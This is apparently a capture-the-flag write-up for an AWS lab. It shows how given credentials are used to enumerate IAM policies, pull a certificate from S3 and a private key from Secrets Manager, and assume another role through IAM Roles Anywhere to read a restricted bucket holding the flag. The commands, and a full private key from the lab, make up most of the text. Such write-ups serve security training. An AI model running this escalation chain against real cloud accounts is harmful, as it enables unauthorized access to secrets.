Published on

CWL - Escaping Boundaries with Roles Anywhere

Authors
  • avatar
    Name
    mfkrypt
    Twitter
Description
Description
Table of Contents

Recon

We are given the following credentials:

Proceed to authenticate. Just provide any random region and we can leave out the output format field

aws configure

Verify the authentication by making an API call

aws sts get-caller-identity

Our current user is Emp-08463

IAM Enumeration

Policies

Let's try to list down user policies

aws iam list-user-policies --user-name Emp-08463
{
    "PolicyNames": [
        "Emp-08463-user-policy"
    ]
}

Let's get some more details on the available policy

aws iam get-user-policy --user-name Emp-08463 --policy-name Emp-08463-user-policy
{
    "UserName": "Emp-08463",
    "PolicyName": "Emp-08463-user-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "AllowGetSpecificS3Object",
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject"
                ],
                "Resource": [
                    "arn:aws:s3:::org-crypto-buck",
                    "arn:aws:s3:::org-crypto-buck/config.yml"
                ]
            },
            {
                "Sid": "AllowGetSpecificSecret",
                "Effect": "Allow",
                "Action": [
                    "secretsmanager:GetSecretValue"
                ],
                "Resource": "arn:aws:secretsmanager:us-east-1:058264439561:secret:alice.key-f5kHVb"
            },
            {
                "Sid": "RolesAnywhereReadOnly",
                "Effect": "Allow",
                "Action": [
                    "rolesanywhere:ListTrustAnchors",
                    "rolesanywhere:GetTrustAnchor",
                    "rolesanywhere:ListProfiles",
                    "rolesanywhere:GetProfile"
                ],
                "Resource": "*"
            },
            {
                "Sid": "IAMRoleReadOnly",
                "Effect": "Allow",
                "Action": [
                    "iam:ListRoles",
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy",
                    "iam:ListUserPolicies",
                    "iam:GetUserPolicy"
                ],
                "Resource": "*"
            }
        ]
    }
}

Let's start to enumerate S3 buckets

S3 Enumeration

{
    "Sid": "AllowGetSpecificS3Object",
    "Effect": "Allow",
    "Action": [
        "s3:ListBucket",
        "s3:GetObject"
    ],
    "Resource": [
        "arn:aws:s3:::org-crypto-buck",
        "arn:aws:s3:::org-crypto-buck/config.yml"
    ]
}

Based on the permissions above, we can list and download the config.yml object from the org-crypto-buck bucket

❯ aws s3 ls s3://org-crypto-buck --recursive

2025-09-11 11:15:35       1982 config.yml
2025-09-10 07:11:20        195 key.json
❯ aws s3 cp s3://org-crypto-buck/config.yml .

download: s3://org-crypto-buck/config.yml to ./config.yml

The contents of the file appear to be some sort of certificate file used for authentication

Let's hold it here and look at other stuff by enumerating Secrets Manager

Enumerating Secrets Manager

{
    "Sid": "AllowGetSpecificSecret",
    "Effect": "Allow",
    "Action": [
        "secretsmanager:GetSecretValue"
    ],
    "Resource": "arn:aws:secretsmanager:us-east-1:058264439561:secret:alice.key-f5kHVb"
}

We have access to view the secret value based on the resource, alice.key

aws secretsmanager get-secret-value --secret-id alice.key --region us-east-1
{
    "ARN": "arn:aws:secretsmanager:us-east-1:058264439561:secret:alice.key-f5kHVb",
    "Name": "alice.key",
    "VersionId": "9bce01e5-2c51-4282-b536-7f3285673dbb",
    "SecretString": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkWygNuDCId+na\nkaK0qDGjR4CUzPACsYuSjKRhFG9lRnZdIgmL5qjBZYeZgbBBJIWuUWQ3e+1YzHqg\nyBW3aoJlmw5rMmy01CPJJQBdbwL1GLpfzqaM2zOWK/uKQFUZd2xx2cQdoTJjC4P6\n06fbScA57aQ1TMUW9cfHw2e+FOxjauuxnJG6YBzH+26rvB9GJwBg7HL8k5i1DAtZ\n/3G4U3i8JGjywUuFGNWCzB+f6Zv3lxZI7r4I2Zea3ahTtpJJlPjAIvn5Ou31aYZ4\nHjTB1P/aAYKP02kinLw4WlpeVhs5bQE3PfXMAUU9gzGOW8Srf0rujVJhi46db0zL\n/KVgPl9NAgMBAAECggEABQXwNHMjsJgRoqd+1Iyrb7UYvfOBhmOMw37e60Snnu3H\nYlNO/WKgV8DVoyBulZ8bItfD+1ojR+p/+PgEieWMdLSHfUk+P0yYh2ZFG5Xv/jOy\nRolXV8i/S+CuQGx07WFUBCrGrq0lkBdjAkCDydT4Ng0ITsS45Vm/sGBNhGa5TtSC\nLjf1IWRw4hcBWURdOE0wmkC4iwlbFxHt2nrO3sBhXlc/pVCErINny2LLSlWVlYDO\njJy+8F696sGecPhebizByTRG9R8phLVBQR4+TU0nk9WSn3d2cbvys8yeW3nAh0yV\nNQ2KQnd6Mdg27DGU0BvOKcJhJlI1kGs9g2rE/FSutQKBgQDZizBvIg3H+UvAJfJX\nZk0raYp0AtaT0/D78l1j+fS596Gr7vS2GNFGVht3xTadypy2M3//bfuZtezC+k77\nhXyDSya38m71AGFBk5HkRlbAfR2nz7nccG97Ci+K3na7hyK65nLjks/biY/7xYJT\nG3gHQI4v/C27oVLO4LbsokHX1wKBgQDBaP4s5xs18A74fSJKJ18FOKbIbrIjoG6o\nFV4kjL+byKZFUHaR99YGs7VMU7/pdaaneZi5GCj6gfLqYuMAI2qlAbG5mqfZRvyD\n+31vV6YC6TRQtmAcdIXl1GeglPJqrnEQTJudRyhhvNgk/VBuqaOKB6YQSRMy43gj\nmjSr8tBNewKBgQDMk/+tUyoAl+lrvoPDO1pw6+SfKpgeFt72IDtBLKu/QygPpz0M\nDhSn/4v/O0AcbZCoK5BAZm6IY7ROu9QQ5rxsP/0eWWeNEZlkcOFu+dLVXBPKXyfb\nLQU5gR+qiYDA49l+R/9dEhBU1W3JCDmB7EAZGdVdPNrJK3HTSTHdIM2oqwKBgCaT\nGTa9dTjhwyqeUot1pMb20JTjNxZR9iAB+v/RLpoUf80NSki8pGw7xWoOvhUDCRUX\n9HTeM7Ya2ucSh/HMHoYAe4DoLpfwR4bPTuo5Efw8pNmANlUWjGoVXgGyE1NhrV0x\n2kuZGJ29u2JNP5CCtwJdmipfWLvqkFiRdfXhfNgnAoGAGzrdErLx4RFMFMmKaVag\nppTeFMsyLkuqm9dFJj7s5sTBXREYIcvSphVW4hRVxMe26S+hnOJYEzm6St37Whep\ne9Zo8idnv4wR5qNaoBxvLHgK48/xVvVZQMv+jP8OrhL+X2nsUkJOF3QfzJ2CX0j5\nGiXTLpI8CcUTg6hCuTWhfv8=\n-----END PRIVATE KEY-----",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2025-09-10T06:56:36.310000+00:00"
}

Looks like we have a private key. Let's keep enumerating other services

IAM Roles Anywhere

IAM Roles Anywhere is a service that allows workloads running outside AWS such as servers and containers to access AWS resources using temporary credentials. It commonly uses the X.509 digital certificates to authenticate that was issued by a trusted CA.

This description matches our findings earlier that involve a certificate file and a private key. According to this excellent post, we can assume a different role for the current user by having this open trust policy configuration for the default rolesanywhere role:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "",
      "Effect": "Allow",
      "Principal": {
        "Service": "rolesanywhere.amazonaws.com"
      },
      "Action": [
        "sts:AssumeRole",
        "sts:SetSourceIdentity",
        "sts:TagSession"
      ]
    }
  ]
}

But checking this configuration requires the iam:GetRole permission which we don't have. So we are doing this partially blind. Let's start to enumerate this service

Roles Anywhere Enumeration

{
    "Sid": "RolesAnywhereReadOnly",
    "Effect": "Allow",
    "Action": [
        "rolesanywhere:ListTrustAnchors",
        "rolesanywhere:GetTrustAnchor",
        "rolesanywhere:ListProfiles",
        "rolesanywhere:GetProfile"
    ],
    "Resource": "*"
}

I spent some time finding the rolesanywhere option in the awscli tool lol. To actually perform the privilege escalation action, we would require 5 things

  • The Certificate
  • The Private Key
  • The Trust Anchor arn
  • The Profile arn (The scope of IAM Roles we can request)
  • The Role arn (The Role we want to assume)

We need 3 more things...based on the IAM permissions, we could list down the Trust Anchor. Trust Anchors are the root of trust enntities, they also contain the CA certificates that are registered. A Trust Anchor is trusted and reused across regions, accounts and roles enabling lateral movement.

aws rolesanywhere list-trust-anchors --region us-east-1

Now, we need the Profile arn and the Role arn

aws rolesanywhere list-profiles --region us-east-1
"createdAt": "2025-09-09T11:34:22.210769+00:00",
"createdBy": "arn:aws:iam::058264439561:user/Parth_Testing",
"durationSeconds": 3600,
"enabled": true,
"name": "org-role-profile",
"profileArn": "arn:aws:rolesanywhere:us-east-1:058264439561:profile/767cad02-518e-4304-9058-a2010b083731",
"profileId": "767cad02-518e-4304-9058-a2010b083731",
"roleArns": [
    "arn:aws:iam::058264439561:role/crypto-buck-reader"
]

Looks like the role we can assume is crypto-buck-reader.

Privilege Escalation

Assuming crypto-buck-reader Role

We will be using the aws_signing_helper tool from Amazon itself, this tool has other uses but we are primarily using it to authenticate using the X.509 certificate and the private key to validate and assume the target role.

https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html#credential-helper-github

❯ ./aws_signing_helper credential-process \

--certificate cert.pem \
--private-key priv.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:058264439561:trust-anchor/53a3cf35-ca22-47c5-a645-03901661a400 \
--profile-arn arn:aws:rolesanywhere:us-east-1:058264439561:profile/767cad02-518e-4304-9058-a2010b083731 \
--role-arn arn:aws:iam::058264439561:role/crypto-buck-reader

Success! Now we have some temporary credentials we can use to authenticate. We will need to make a profile in the credentials file:

vim ~/.aws/credentials

Now, let's try to make a STS call to verify it worked

aws sts get-caller-identity --profile rolesanywhere

Also success, we have assumed another role. Let's check for some policies

Policy Reenumeration

aws iam list-role-policies --role-name crypto-buck-reader
{
    "PolicyNames": [
        "crypto-buck-reader-policy"
    ]
}

Let's check the contents of the policy

aws iam get-role-policy --role-name crypto-buck-reader --policy-name crypto-buck-reader-policy
{
    "RoleName": "crypto-buck-reader",
    "PolicyName": "crypto-buck-reader-policy",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "AllowGetS3Object",
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject"
                ],
                "Resource": [
                    "arn:aws:s3:::org-crypto-buck",
                    "arn:aws:s3:::org-crypto-buck/*"
                ]
            }
        ]
    }
}

Looks like we can download any object from the org-crypto-buck bucket we found earlier which has the key.json file that was restricted to us before

❯ aws s3 ls s3://org-crypto-buck --recursive --profile rolesanywhere

2025-09-11 11:15:35       1982 config.yml
2025-09-10 07:11:20        195 key.json
❯ aws s3 cp s3://org-crypto-buck/key.json . --profile rolesanywhere

download: s3://org-crypto-buck/key.json to ./key.json
{
  "wallet": {
    "id": "my-crypto-wallet",
    "network": "ethereum-mainnet",
    "configVersion": "1.0",
    "secretKey": "Q1dMe0NyeXB0MF9LZXlfUmVzdDByZWRfU3VjY2Vzc2Z1bGx5fQ=="
  }
}

Looks like a secret key for a crypto wallet that is Base64 encoded

echo 'Q1dMe0NyeXB0MF9LZXlfUmVzdDByZWRfU3VjY2Vzc2Z1bGx5fQ==' | base64 -d

CWL{Crypt0_Key_Rest0red_Successfully}

And theres our flag


Sources